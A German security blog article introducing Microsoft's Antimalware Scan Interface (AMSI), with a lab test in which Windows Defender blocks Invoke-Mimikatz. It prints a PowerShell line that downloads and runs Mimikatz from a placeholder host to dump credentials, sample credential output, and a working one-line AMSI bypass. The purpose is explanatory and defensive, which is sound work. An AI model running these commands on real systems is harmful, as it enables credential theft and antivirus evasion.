Microsoft Antimalware Scan Interface - Einführung in die Funktionsweise von AMSI

Microsoft Antimalware Scan Interface

Einführung in die Funktionsweise von AMSI

Michael Schneider
von Michael Schneider
Lesezeit: 7 Minuten

Keypoints

  • AMSI steht für Antimalware Scan Interface
  • AMSI wurde mit Windows 10 eingeführt und ist in Windows Defender implementiert
  • AMSI ist eine offene Schnittstelle, die von Antiviren-Herstellern genutzt werden kann
  • Mittels AMSI können dynamische Skript-Sprachen untersucht werden
  • Mit AMSI kann unter anderem bekannte PowerShell-Malware detektiert werden

Angreifer haben mit skriptbasierten Sprachen wie PowerShell, VBScript oder JScript unter Microsoft Windows meist ein leichtes Spiel. Die Skriptsprachen sind im Betriebssystem integriert, verfügen über einen mächtigen Funktionsumfang und werden auch für legitime Aufgaben genutzt. So hat sich PowerShell zu einem beliebten Werkzeug für Angreifer entwickelt, da es sehr effektiv ist und lange Zeit als schwer detektierbar galt. Einige Antiviren-Lösungen erkennen mittlerweile bekannte PowerShell-Malware. Dabei werden jedoch nur Skripte erkannt, die auf die Festplatte geschrieben werden. Skripte, die direkt aus dem Speicher ausgeführt werden, entziehen sich einer Kontrolle durch Antiviren-Lösungen. Mit der Einführung des Antimalware Scan Interface (AMSI) durch Microsoft soll sich dies ändern.

Was ist AMSI?

Microsoft beschreibt das Antimalware Scan Interface (AMSI) als ein generisches Standard-Interface, das es Anwendungen und Diensten ermöglicht mit der auf dem System installierten Antivirus-Lösungen zu interagieren. AMSI stellt Applikationen die gängigen Techniken einer Antivirus-Lösung zur Verfügung, wie zum Beispiel die Überprüfung von Festplatte und Speicher sowie Kontrolle von Inhalten basierend auf URL- und IP-Adressen-Reputationschecks. AMSI verfügt über die Fähigkeit auch Skripte zu untersuchen, die Verschleierungstaktiken oder Schichten von dynamischen Code verwenden. Im Artikel Windows 10 to offer application developers new malware defenses beschreibt Microsofts Software Engineer Lee Holmes diese Funktion so, dass die AMSI API dann eine Prüfung des Codes durchführt, wenn dieser in Klartext-Form an die Scripting-Engine übergeben wird. Wenn zum Beispiel ein Skript eine Verschleierung mittels Base64-Kodierung einsetzt, findet die Prüfung auf potentiellen Schadcode über AMSI nach der Dekodierung der Base64-Payload nochmals statt.

Microsoft selbst hat seine Antiviren-Lösung Windows Defender in Windows 10 mit AMSI-Unterstützung ausgestattet. Mit der Version 5 von PowerShell wurde der Support für AMSI ebenfalls eingeführt. Der Inhalt von PowerShell-Skripts wird unter Windows 10 mittels AMSI von der jeweiligen Antiviren-Lösung untersucht – vorausgesetzt diese setzt AMSI bereits ein.

AMSI im Einsatz

In unserer Lab-Umgebung haben wir AMSI unter Windows Server 2016 getestet. Als Kontrollversuch wurde Windows Defender deaktiviert, das PowerShell-Skript Invoke-Mimikatz.ps1 wird per Invoke-Expression von einer Webseite geladen und ausgeführt:

PS C:\> Invoke-Expression ((New-Object Net.Webclient).DownloadString("https://malware.example.org/Invoke-Mimikatz.ps1")); Invoke-Mimikatz -Dumpcreds

  .#####.   mimikatz 2.1.1 (x64) built on Jul 20 2017 01:35:38
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 21 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 3360624 (00000000:00334770)
Session           : RemoteInteractive from 2
User Name         : adm_mreynolds
Domain            : LABS
Logon Server      : DC01
Logon Time        : 27.12.2017 08:07:24
SID               : S-1-5-21-3685327493-4069616680-3530608807-1105
        msv :
         [00000003] Primary
         * Username : adm_mreynolds
         * Domain   : LABS
         * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0
         * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709		 
         * DPAPI    : 6667bd7c8c3dfef7a50b973a1acdec2d
        tspkg :
        wdigest :
         * Username : adm_mreynolds
         * Domain   : LABS
         * Password : (null)
        kerberos :
         * Username : adm_mreynolds
         * Domain   : LABS.SCIP.CH
         * Password : (null)
        ssp :
        credman :

Wie es zu erwarten war, wird Invoke-Mimikatz ohne weiteres ausgeführt. Danach wurde Windows Defender eingeschaltet und der Versuch wiederholt. Diesmal schlug die Ausführung fehl und Invoke-Mimikatz wurde durch Windows Defender geblockt. Im entsprechenden Event-Log Eintrag ist als Quelle für die Entdeckung AMSI hinterlegt:

Windows Defender has detected malware or other potentially unwanted software.
 For more information please see the following:
http://go.microsoft.com/fwlink/?linkid=37020&name=HackTool:Win32/Mikatz!dha&threatid=2147706304&enterprise=0
    Name: HackTool:Win32/Mikatz!dha
    ID: 2147706304
    Severity: High
    Category: Tool
    Path: amsi:_PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_10.0.14393.00000000000000004
    Detection Origin: Unknown
    Detection Type: Concrete
    Detection Source: AMSI
    User: LABS\adm_hwashburne
    Process Name: Unknown
    Signature Version: AV: 1.259.809.0, AS: 1.259.809.0, NIS: 118.2.0.0
    Engine Version: AM: 1.1.14405.2, NIS: 2.1.14202.0

Vor AMSI konnte Windows Defender Invoke-Mimikatz.ps1 nur dann erkennen, wenn die Datei auf die Festplatte geschrieben wurde. Windows Defender konnte jedoch durch die Ausführung im Speicher umgangen werden.

Umgehung von AMSI

Es gibt für AMSI wie für jede andere Sicherheitsvorkehrung auch Umgehungsmöglichkeiten. Wenn zum Beispiel auf dem jeweiligen System PowerShell in der Version 2 ausgeführt werden kann, fehlt die AMSI-Integration in PowerShell und der auszuführende Code wird nicht geprüft. Da AMSI auch unter anderem auf einem signaturbasierten Ansatz basiert, kann durch eine signifikante Änderung von erkannten Malware-Skripts die Entdeckung möglichweise verhindert werden.

Eine weitere Methode ist die Deaktivierung von AMSI, beispielsweise durch das PowerShell Cmdlet Set-MpPreference, wie Nikhil Mittal in seinem Vortrag AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It aufzeigt. Dabei wird die Echtzeit-Erkennung von Windows Defender deaktiviert, ein Vorgang der administrative Rechte erfordert.

Durch den Befehl [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) wird für den aktuellen Prozess die AMSI-Funktionalität entfernt. Der AMSI-Bypass wurde von Matt Graeber entdeckt und es sind keine administrativen Rechte dafür notwendig. In beiden Fällen kann die durchgeführte Operation respektive die Deaktivierung durch das Monitoring von PowerShell und Event Logs detektiert werden.

Fazit

Mit der Einführung des Antimalware Scan Interface bietet Microsoft Unterstützung für eine Lücke, die skriptbasierte Sprachen bis anhin ausnutzen konnten. Durch eine Kombination von Script Block Logging, Constrained Language Mode und AMSI kann PowerShell derart überwacht und kontrolliert werden, dass es für Angreifer nicht mehr attraktiv ist. Microsoft hat auch in Office eine Unterstützung für AMSI eingebaut, sodass Macros auf bekannte Schadsoftware untersucht werden kann. AMSI bietet eine gute Möglichkeit für Anwendungsentwickler und Hersteller von Antiviren-Lösungen unter Windows etwas gegen die Verbreitung von skriptbasierten Schadcode zu unternehmen.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Sie wollen Ihr Log und Monitoring auf das nächste Level bringen?

Unsere Spezialisten kontaktieren Sie gern!

×
Area41 2024

Area41 2024 - Ein Rückblick

Michael Schneider

Bericht und Dokumentation

Bericht und Dokumentation

Michael Schneider

Einführung von CVSS v4.0

Einführung von CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv